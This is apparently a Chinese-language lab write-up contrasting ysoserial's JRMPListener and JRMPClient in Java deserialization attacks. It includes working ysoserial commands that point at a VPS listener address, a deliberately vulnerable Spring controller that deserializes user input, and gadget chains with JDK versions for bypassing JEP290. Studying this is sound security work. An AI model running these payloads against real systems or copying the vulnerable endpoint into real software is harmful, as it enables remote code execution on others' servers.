前言
目前很多的反序列化的漏洞在利用的过程中都使用到了JRMPListener,JRMPClient。但实际上,在ysoserial项目中,exploit和payloads这2个单词意义是不同的。以前我一直都不怎么区分这2个概念。payloads偏向于一种静态的概念,可以是生成的二进制负载数据。exploit更偏向于一种主动的攻击程序。下面我用2个本地的简单的demo就能对比一下。
因为JRMP实际上是调用远程方法,所以
使用JRMP模拟RMI Client反打
第一步
在VPS端开启JRMPListener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 'calc'
第二步
生成JRMPClient Payloads
java -jar ysoserial.jar JRMPClient 47.97.123.81:7777|base64 -w 0
获取base64之后的反序列化字符串
第三步
打到本机环境里
package com.example.demo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import tools.Tools;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
@Controller
public class CommonsCollectionsVuln {
@ResponseBody
@RequestMapping("/cc11")
public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
String data = request.getParameter("data");
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "Hello,World";
}
@ResponseBody
@RequestMapping("/demo")
public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
return "This is OK Demo!";
}
}
jdk8u231之前的版本可用(绕过JEP290) 成功弹计算器,且vps上显示调用数据
疑问
为什么要这样打?
其实JRMP算是一条单独的链子,利用链
/**
* UnicastRef.newCall(RemoteObject, Operation[], int, long)(!!JRMP请求的发送处!!)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)(这里是我们上面JRMP服务端打客户端,客户端的反序列化触发处)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
------这里实际上不是一个连贯的调用栈,之后说明-----
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)(!!反序列化的入口!!)
反序列化的入口其实不止readobject(),还有readExternal(),只不过后者稍微少见点。
主要是为了绕过一些特定的黑名单,因为这里的反序列化内容实际上是调用了远程RMI服务,然后RMI服务调用远程服务器上的cc链。而不是直接的反序列化cc链。
使用JRMP正打,攻击RMI Server端
第一步
生成JRMPListener Payloads
java -jar ysoserial.jar JRMPListener 7778 | base64 -w 0
打到服务器里,为了让靶机在7778端口开放一个rmi服务
第二步
攻击靶机 因为我服务器访问不到本地所以这里用了本机的ysoserial
java -cp ysoserial.jar ysoserial.exploit.JRMPClient "127.0.0.1" 7778 CommonsCollections6 "calc"
利用链
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/
jdk8u121,7u131,6u141之前(JEP290) 成功弹出计算器 jdk8u181下失败
参考
https://lalajun.github.io/2020/06/22/RMI 反序列化-深入-下/
https://lalajun.github.io/2020/06/22/RMI 反序列化-深入-上/#探测利用开放的RMI服务